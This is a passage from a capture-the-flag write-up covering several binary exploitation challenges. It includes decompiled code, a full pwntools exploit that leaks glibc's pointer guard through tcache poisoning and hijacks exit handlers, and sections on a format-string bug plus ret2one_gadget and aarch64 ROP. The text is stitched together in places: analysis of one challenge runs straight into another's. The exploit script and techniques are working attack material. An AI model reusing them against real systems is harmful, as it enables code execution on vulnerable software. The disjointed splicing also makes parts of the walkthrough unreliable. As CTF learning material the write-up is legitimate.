Participated under the banner ofHCS, ranked 31 out of 393 teams.
Challenge
Category
Points
Solves
shall-we-play-a-game
Binary Exploitation
258 pts
129
easy-note
Binary Exploitation
425 pts
50
medium-note
Binary Exploitation
459 pts
30
seeing-red
Binary Exploitation
461 pts
29
arm-and-a-leg
Binary Exploitation
480 pts
16
shall-we-play-a-game
Description
Shall we play a game?
nc gold.b01le.rs 4004
Binary Analysis
given a binary, glibc and dockerfile, lets do some footprinting
└──╼ [★]$ tree ..├──chal├──Dockerfile├──exploit.py└──flag.txt└──╼ [★]$ file chal chal: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=965b8ed1abf621f44bb3c06b75e6b7b55e519de0, for GNU/Linux 3.2.0, not stripped
└──╼ [★]$ pwn checksec chalArch:amd64-64-littleRELRO:PartialRELROStack:NocanaryfoundNX:NXenabledPIE:NoPIE (0x400000)
it's quite a warmup challenge, it only has two function namely main() and the win() function
undefined8 main(void){char local_b8 [48];char local_88 [48];char local_58 [16];char buffer [64];setbuf(stdout,(char*)0x0);puts("GREETINGS PROFESSOR FALKEN.");fgets(local_58,0x13,stdin);puts("HOW ARE YOU FEELING TODAY?");fgets(local_88,0x23,stdin);puts("EXCELLENT. IT\'S BEEN A LONG TIME. CAN YOU EXPLAIN THE\nREMOVAL OF YOUR USER ACCOUNT ON 6/23/ 73?" );fgets(local_b8,0x23,stdin);puts("SHALL WE PLAY A GAME?");fgets(buffer,86,stdin);return0;}
we can clearly see the obvious buffer overflow and the last fgets()
4th option allows us to fill the chunk with some data, however the size is not dependent on the chunk's size rather an arbitrary amount of size. this allows us to do heap overflow possibly overwriting other chunk's metadata.
since we have free that doesn't delete pointer, we're also able to corrupt the chunk's metadata when it's been free'd.
case '5': /* WARNING: Subroutine does not return */exit(0);
Exploitation
with abundances obvious vulnerabilities. there might be more than one way to solve this, but I find tcache-poisoning the easiest.
since libc is version 2.27 I'll decide to overwrite one of the hooks.
to do that, we'll need a libc address, we're going to allocate a relatively huge chunk and an additional one small chunk, we'll then free the huge chunk so it'll go to the unsorted bin.
the small chunk acts as a barrier to separate the huge chunk and the wilderness. this is to prevent the huge chunk to be come consolidated with the wilderness upon free instead of going to the bin.
upon reading the free'd chunk's data, we'll get a libc main_arena leak.
alloc(0, 0x500)alloc(1, 0x10)free(0)view(0)
the next step is tcache-poisoning to get an arbitrary write primitive. I won't go to cover the details cause I've covered this topic in this writeup.
to summarize, we'll basically overwrite a free'd chunk's fd so it'll think the next free chunk to be recycle is whatever we overwrite it with. we can then overwrite one of the hooks with system, and run the hook with a chunk that contains /bin/sh to gain shell.
decompiling it ghidra, it turns out some of the implementations are different. I will show you the different ones and also some new hidden function that didn't exist on the previous one, other than that it will be still the same as the previous challenge.
this time, option 4 adds additional questionable logic, that will still enables a heap overflow, though I won't event take advantage of it because I prefer tcache-poisoning.
also apparently there's a hidden 7th option that the menu didn't print
and seems to be our goal, but with the trivial hooks are gone, what should we do?
Exploitation
info leaks
so overall, nothing much change but the addition of win() and libc 2.36. one thing to note is that the main() will never return as the only option to break out of the loop is through option 5 which is exit(). it means ROP through the stack as I did in this writeup will most likely not work here.
If I try hard enough to ROP to the other functions it might work, but I wanna try something new, and the exit() reminds me of a exploitation techniques I know the existence of but never dig dive deep enough or try it out myself ...
it's a technique that hijack a lists of cleanup functions that is called when the binary exit.
before going deeper into the exploitation, let's do some info leaks to get the basis of our exploit:
I like to start the exploit with a fresh bins, so after the leaking the addresses, I like to allocate the chunks again. Below is what we have before exploit
how exit handler works
after a bit of googling I stumbled upon these writeup which the basis of my solution here
I will try to summarise and explain it as best as I could
when our binary calls glibc exit(), it doesn't immediately terminate the process, instead it's actually a wrapper to another call as we can see from its source code:
enum{ ef_free, /* `ef_free' MUST be zero! */ ef_us, ef_on, ef_at, ef_cxa};struct exit_function { /* `flavour' should be of type of the `enum' above but since we need this element in an atomic operation we have to use `long int'. */longint flavor;union {void (*at) (void);struct {void (*fn) (int status,void*arg);void*arg; } on;struct {void (*fn) (void*arg,int status);void*arg;void*dso_handle; } cxa; } func; };struct exit_function_list {struct exit_function_list *next;size_t idx;struct exit_function fns[32]; };
so __exit_func contains a pointer to a singly linked list of exit_function_list. the list holds functions to be executed before the program exits. the functions in the list itself has different convention depending on the flavour/enum.
for you who prefer visuals, I've tried my best below
if we follow __run_exit_handlers within GDB, we can confirm this.
as you can see it calls _dl_fini as in fact, it is the first default cleanup function.
we can further prove this by looking what's inside of the pointer in __exit_func to examine our first exit_function_list which is a symbol in libc known as initial.
wait what? why is the function pointer seems broken?
function pointer obfuscation
it turns out the function pointer is encrypted with a key in fs:0x30 which is only known at runtime. according to this stackoverflow question, in general we can't even read the key in GDB.
thankfully someone already reversed the encryption and decryption algorithm as follows:
sadly no, even though we can read the encrypted pointer since it's within libc's address range, apparently _dl_fini is located on the linker's memory range.
I did some digging and googling and found this two amazing writeup:
Like we saw in PTR_MANGLE() and PTR_DEMANGLE(), it all has to do with the structure "tcbhead_t". This structure is what's stored at FS, which correspond to the per thread data (TCB probably for Thread Control Block).
So at fs:0x30 we get the pointer_guard.
It's the pointer guard as defined in "sysdeps/x86_64/nptl/tls.h" in the structure "tcbhead_t".
(Un)fortunately, glibc has implemented an additional protection: pointer guard. This sounds similar to the safe linking mechanism but relies on a secret key instead of the memory location of the pointer to be encrypted.
The key is actually stored in memory in the thread control block (TCB), the same place that stack canaries are stored:
So even though we don't have _dl_fini to restore the encryption key, we don't even need it since the key itself is stored at the Thread Control Block (TCB) and it's located at a fixed offset from libc.
the TCB is also the location where the stack canary is stored
and apparently it is located just right before libc's base address, to confirm I tried running it again with another randomized address, and it returns the same offset.
chaining the exploit
at the start we already have some leaks, we're going to use the same tcache-poisoning method from the previous challenge. however, instead of overwriting hooks, we're going to allocate a chunk to the TCB to leak the pointer guard.
# ===============# PTR GUARD LEAK# ===============# preparing chunk for tcache poisoningptr_guard_addr = libc.address -0x2890alloc(3, 0x10)alloc(4, 0x10)alloc(5, 0x10)free(4)free(3)# poisoning tcachetarget =mangle(heap, ptr_guard_addr)# address in libc, (Thread Block Control) TBC where it also stores canaryedit(3, p64(target))# arbitrary chunk allocationalloc(6, 0x10)alloc(7, 0x10)# targetview(7)ptr_guard =u64(io.recvline().strip())
with the key leaked, next we're going to tcache-poisoning to allocate a chunk to the first function array list which is initial to gain write primitive
we'll also do the poisoning with a different chunk size since it's already corrupted by the previous poisoning, just to start fresh and avoid potential errors.
we'll then have to figure out how to execute system(/bin/sh).
exit_function particularly have different function convention calls, we're interested in which where 1st parameter takes a char *, which corresponds to this type:
cxa corresponds the 4th enum. we'll just have to pass /bin/sh to *arg which just right after the function pointer. we'll change our payload as follows:
if you try this with the current exploit, it won't work since the edit size is 0x20 and it won't be enough to set up rdi and rsi. the overall exploit have to change to gain the edit size bigger to make up for the parameters than 0x20 for it.
Below is the full exploit script:
exploit.py
#!/usr/bin/env python3from pwn import*# =========================================================# SETUP # =========================================================exe ='./chal'elf = context.binary =ELF(exe, checksec=True)libc ='./libc-2.36.so.6'libc =ELF(libc, checksec=False)ld ='./ld-2.36.so'context.log_level ='debug'context.terminal = ["tmux","splitw","-h"]host, port ='gold.b01le.rs',4002definitialize(argv=[]):if args.GDB:return gdb.debug([exe] + argv, gdbscript=gdbscript)elif args.REMOTE:returnremote(host, port)else:returnprocess([ld, exe] + argv)gdbscript ='''init-pwndbg'''.format(**locals())# break *__run_exit_handlers+259# =========================================================# EXPLOITS# =========================================================# Arch: amd64-64-little# RELRO: Full RELRO# Stack: Canary found# NX: NX enabled# PIE: PIE enableddefalloc(idx,size): log.info(f'MALLOC[{idx}]({size})') io.sendline(b'1')sleep(0.1) io.sendlineafter(b'Where?', str(idx).encode())sleep(0.1) io.sendlineafter(b'size?', str(size).encode())deffree(idx): log.info(f'FREE[{idx}]') io.sendline(b'2')sleep(0.1) io.sendlineafter(b'Where?', str(idx).encode())defview(idx): log.info(f'VIEW[{idx}]') io.sendline(b'3')sleep(0.1) io.sendlineafter(b'Where?', str(idx).encode())defedit(idx,data): log.info(f'EDIT[{idx}]') io.sendline(b'4')sleep(0.2) io.sendlineafter(b'Where?', str(idx).encode()) io.sendafter(b'edit is', data)defdemangle(val): mask =0xfff<<52while mask: v = val & mask val ^= (v >>12) mask >>=12return valdefmangle(heap_addr,val):return (heap_addr >>12) ^ val# Rotate left: 0b1001 --> 0b0011rol =lambdaval,r_bits,max_bits: \ (val << r_bits%max_bits) & (2**max_bits-1) |\ ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))# Rotate right: 0b1001 --> 0b1100ror =lambdaval,r_bits,max_bits: \ ((val & (2**max_bits-1)) >> r_bits%max_bits) |\ (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))# encrypt a function pointerdefencrypt(v,key):returnrol(v ^ key, 0x11, 64)defexploit():global io io =initialize()# ===============# ELF BASE LEAK# =============== io.sendline(b'7') io.recvuntil(b'0x') win =int(io.recvline().strip(), 16) elf.address = win -0x159f# ===============# LIBC BASE LEAK# ===============alloc(0, 0x500)alloc(1, 0x10)free(0)view(0) leak = io.recvline().strip() main_arena =u64(leak.ljust(8, b'\x00')) libc.address = main_arena -0x1d1cc0 ptr_guard_addr = libc.address -0x2890alloc(0, 0x500)# clean bins# ===============# HEAP BASE LEAK# ===============alloc(2, 0x10)free(1)view(1) leak =u64(io.recvline().strip().ljust(8, b'\x00')) heap = leak <<12alloc(2, 0x10)# clean bins# ==========================================================================# EXPLOIT REFERENCES: # - https://jackfromeast.site/2023-06/see-ctf-2023-writeup.html#babysheep# - https://ctftime.org/writeup/34804# - https://binholic.blogspot.com/2017/05/notes-on-abusing-exit-handlers.html# - https://ctftime.org/writeup/35951# ==========================================================================# ===============# PTR GUARD LEAK# ===============# preparing chunk for tcache poisoningalloc(3, 0x10)alloc(4, 0x10)alloc(5, 0x10)free(4)free(3)# poisoning tcache target =mangle(heap, ptr_guard_addr)# address in libc, (Thread Block Control) TBC where it also stores canaryedit(3, p64(target))# arbitrary chunk allocationalloc(6, 0x10)alloc(7, 0x10)# targetview(7) ptr_guard =u64(io.recvline().strip())# =======================# OVERWRITE __EXIT_FUNCS# =======================# preparing chunk for tcache poisoningalloc(8, 0x20)alloc(9, 0x20)alloc(10, 0x20)free(9)free(8)# poisoning tcache target =mangle(heap, libc.sym['initial'])edit(8, p64(target))# arbitrary chunk allocationalloc(11, 0x20)alloc(12, 0x20)# target# NO NEED TO DO BELOW, WE ALREADY GOT KEY (PTR GUARD)# commented method below won't work because of the original function# is located in the linker address space, which is not in the libc (as far as I know)# filling padding until encrypted cleanup function ptr# payload = cyclic(0x18)# edit(12, payload)# # leaking encrypted cleanup function ptr# view(12)# io.recvuntil(b'faaa')# leak = u64(io.recvline().strip())# decrypting to get key# key = ror(leak, 0x11, 64) ^ (libc.address + 0x1ee8f0) # libc.sym['_dl_fini']# overwriting exit funcs fn =encrypt(win, ptr_guard) payload =flat(0x0, # *next0x1, # count0x4, # type/flavour (cxa) fn, # *func ptr )edit(12, payload)# trigger exit (win at cleanup)sleep(0.2) io.sendline(b'5') log.success('leak: %#x', leak) log.success('elf base: %#x', elf.address) log.success('chunks: %#x', elf.address +0x4060) log.success('libc base: %#x', libc.address) log.success('exit: %#x', libc.sym['exit'] ) log.success('ptr guard addr: %#x', ptr_guard_addr) log.success('ptr guard: %#x', ptr_guard) log.success('initial: %#x', libc.sym['initial']) log.success('heap base: %#x', heap) io.interactive()if__name__=='__main__':exploit()
Flag:bctf{sm4ll_0v3rfl0w_1z_571ll_b4d_0k4y}
seeing-red
Description
Didn't sleep for three nights while staring at ticketmaster waiting to get out of the Eras queue and I get sick on the day of, smh. Anyway, if you can find my ticket you can go!
nc gold.b01le.rs 4008
Binary Analysis
given a binary, glibc and dockerfile, lets do some footprinting
└──╼ [★]$ tree ..├──chal├──Dockerfile├──exploit.py├──flag.txt├──ld-linux-x86-64.so.2└──libc.so.6└──╼ [★]$ file chal chal: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3d661ce4bdb7856594bacd10b46c78dae2a5a65f, for GNU/Linux 3.2.0, not stripped
└──╼ [★]$ pwn checksec chal Arch:amd64-64-littleRELRO:PartialRELROStack:NocanaryfoundNX:NXenabledPIE:NoPIE (0x400000)
the binary itself is quite small and straight forward
undefined8 main(void){setbuf(stdout,(char*)0x0);help_me();printf("sooo... anyways whats your favorite Taylor Swift song? ");fflush(stdout);read(0,song,200);printf("Ooohh! ");printf(song);puts("Thats a good one!");return0;}
main calls help_me() and then reads to song global variable 200 bytes and does a naked printf. we wouldn't be able to do any format string write though with this since our input is not located at stack.
undefined8 help_me(void){char buffer [64];puts("I was going to go to the eras tour, but something came up :(");puts("You can have my ticket! Only thing is... I forgot where I put it...");puts("Do you know where it could be?! ");fgets(buffer,100,stdin);fflush(stdin);return0;}
help_me() offers us a buffer overflow.
there's also another function that's never called anywhere and seemingly seems like the win condition
it reads a flag to destination at RDI, however the binary doesn't provide us have a pop rdi; gadget.
I spent quite a lot of wasteful time figuring out how to leak the flag to stdout including pivoting to song.
this seemingly win function turns out to be a decoy (?) cause after the competition had ended, I don't see anyone make use of this function
Exploitation
it's actually quite simple, we're going to do the classic ret2one_gadget.
first notice that main() doesn't have any local variable, this means its stack frame consist only of RBP and return address of RIP.
our help_me() reads out input up to 0x64 and it is quite big of an overflow, to which is big enough to overwrite into main()'s stack frame.
so on the first round of overflow, we'll keep help_me()'s RIP unchanged, however we'll change main()'s RIP to calling main() again instead of exit. in the meantime, we'll abuse the printf to leak some stack and libc address.
the reason we need stack leak is to preserve the RBP, this because upon calling one_gadget or system, they will have instructions that utilizes RBP offsets. so we wanna set it to a relatively huge valid writeable address instead of 0x4141414141
Ever needed to buy something that cost an ARM and a leg? Well, now you can!
nc arm-and-a-leg.gold.b01le.rs 1337
my first aarch64 ROP solves :D
Binary Analysis
given a binary, glibc and dockerfile. as the name suggest, it's an ARM binary, because my machine is x86, first thing I do is grab the libc and linker from Docker Image and patch the binary.
└──╼ [★]$ tree ..├──chal├──chal_patched├──Dockerfile├──exploit.py├──flag.txt├──gadgets.txt├──ld-linux-aarch64.so.1├──libc.so.6└──lib_gadgets.txt└──╼ [★]$ file chalchal: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-aarch64.so.1, BuildID[sha1]=ac237637c81e388676baac60780e594c48a90541, for GNU/Linux 3.7.0, not stripped
└──╼ [★]$ pwn checksec chalArch:aarch64-64-littleRELRO:PartialRELROStack:CanaryfoundNX:NXenabledPIE:NoPIE (0x400000)
next we try to poke and decompile the binary
undefined8 main(void){int iVar1;int choice;long local_8; local_8 = ___stack_chk_guard;setup(&__stack_chk_guard,0); iVar1 =puts("Hello! \nWelcome to ARMs and Legs, here for all of your literal and metaphorical need s!");print_menu(iVar1);__isoc99_scanf("%d",&choice);if (choice ==1) { iVar1 =puts("So, you\'d like to purchase an ARM...are you worthy enough to purchase such an appe ndage?"); iVar1 =worthyness_tester(iVar1);if (iVar1 ==0) {get_address();feedback(); }else {puts("Close, but no cigar. Maybe try a Leg?"); } }elseif (choice ==2) { iVar1 =puts("So, you\'d like to purchase a Leg...are you worthy enough to purchase such an appen dage?!"); iVar1 =worthyness_tester(iVar1);if (iVar1 ==0) {get_address();feedback(); }else {puts("Close, but no cigar. Maybe try an ARM?"); } }if (local_8 - ___stack_chk_guard ==0) {return0; } /* WARNING: Subroutine does not return */__stack_chk_fail(&__stack_chk_guard,0,0,local_8 - ___stack_chk_guard);}
though there's an option, whichever option we chose doesn't affect anything relevant, it eventually calls worthyness_tester() -> get_address() -> feedback() in order. so let's take a look at those functions
boolworthyness_tester(void){bool c;int guess;int num;long local_8; local_8 = ___stack_chk_guard;puts("What number am I thinking of?"); num =0x539;__isoc99_scanf("%d",&guess); c = num != guess;if (!c) {printf("Wow, you may now purchase an appendage!"); }if (local_8 - ___stack_chk_guard ==0) {return c; } /* WARNING: Subroutine does not return */__stack_chk_fail(&__stack_chk_guard,c,0,local_8 - ___stack_chk_guard);}
well this does nothing, just sanity check againts a hardcoded value.
voidget_address(void){int iVar1;char acStack_30 [40];long local_8; local_8 = ___stack_chk_guard;printf("\tCould we have an address to ship said appendage? ",0);__isoc99_scanf("%34s",acStack_30);printf("\nThanks, we will ship to: ");printf(acStack_30); iVar1 =putchar(10);clear_buffer(iVar1);if (local_8 - ___stack_chk_guard !=0) { /* WARNING: Subroutine does not return */__stack_chk_fail(&__stack_chk_guard,0,local_8 - ___stack_chk_guard); }return;}
apparently, this function's name corresponds to what it's for used in exploitation. this routine provides us with a printf vulnerability, we'll use this to get some info leaks.
voidfeedback(void){char acStack_70 [104];long local_8; local_8 = ___stack_chk_guard;puts("Care to leave some feedback?!");fgets(acStack_70,256,_stdin);puts("Thanks!");if (local_8 - ___stack_chk_guard !=0) { /* WARNING: Subroutine does not return */__stack_chk_fail(&__stack_chk_guard,0,local_8 - ___stack_chk_guard); }return;}
feedback provides us with a buffer overflow.
Exploitation
environment setup
first off, we because the binary is in a different architecture we need to install some tools to setup our environment so we can run the binary.
qemu is used to simulate the binary while gdb-multiarch add supports to wide range of architectures for us to debug.
heads up!
the setup below won't work and I ended up using python exploit.py GDB anyways, but it would be nice to document my thought process, the mistakes and what I ended up learning!
to properly debug in GDB, we gotta do a little bit more work than usual. if I run python exploit.py GDB, it will fail as I CTRL ^ C, it simply just disconnects.
to do this, we need two terminal panel. we'll run the exploit script without GDB on one of the terminal, then search for the PID of the process and attach it manually to GDB using said PID on the other terminal as follows
and now CTRL ^ C will work and we can inspect the memory as we would normally
info leaks
the first thing I did is to fuzz for info leaks, primarily to get the offset to canary as we need it in order to successfully execute our buffer overflow.
it seems either the 15th or 19th offset is our canary, lets clarify this within GDB.
what's happening here? why none of them match the canary? running vmmap will reveal something interesting.
apparently what we've been debugging this whole time is the qemu process and not the challenge binary.
this is because qemu itself is a simulation, not a virtualization technology. comparing to the vmmap of python exploit.py GDB we can see a difference
python exploit.py GDB actually is the correct way as it debugs the simulation not the qemu process itself.
notice we have no libc or other memory region as we would normally see. this is because everything is simulated and no library is actually mounted to the binary which in itself is not running as a process.
this means in order we could run GDB's command, we would need to setup breakpoints early before actually running the binary as CTRL ^ C doesn't seem to work.
that said, we can finally verify our canary right ...?
they're both are the canaries? but the previous fuzzing shows different results, is this part of the qemu?
fuzzing againts remote I found that the value at both offset are indeed should be different, so in the end I'll just use whichever that doesn't give me ***stack smashing detected***.
it was offset-15th that works
next, we'll also need a libc leak, inspecting the stack right before printf we discover a libc address at offset 21st, just some bytes after our canary.
but how do we get the offset to libc? since vmmap displays inaccurate result.
this is why we need to extract the libc from the docker image, and thankfully the libc has symbols within it, so with pwntools we can simply do:
it provides us control both for x0 and x30 with a controlled area i.e. the stack. the perfect gadget.
looking back at feedback(), we know we have a buffer of 104 before canary, since the stack frame will be different, I will use the De Brujin sequence to determine the offset to control execution.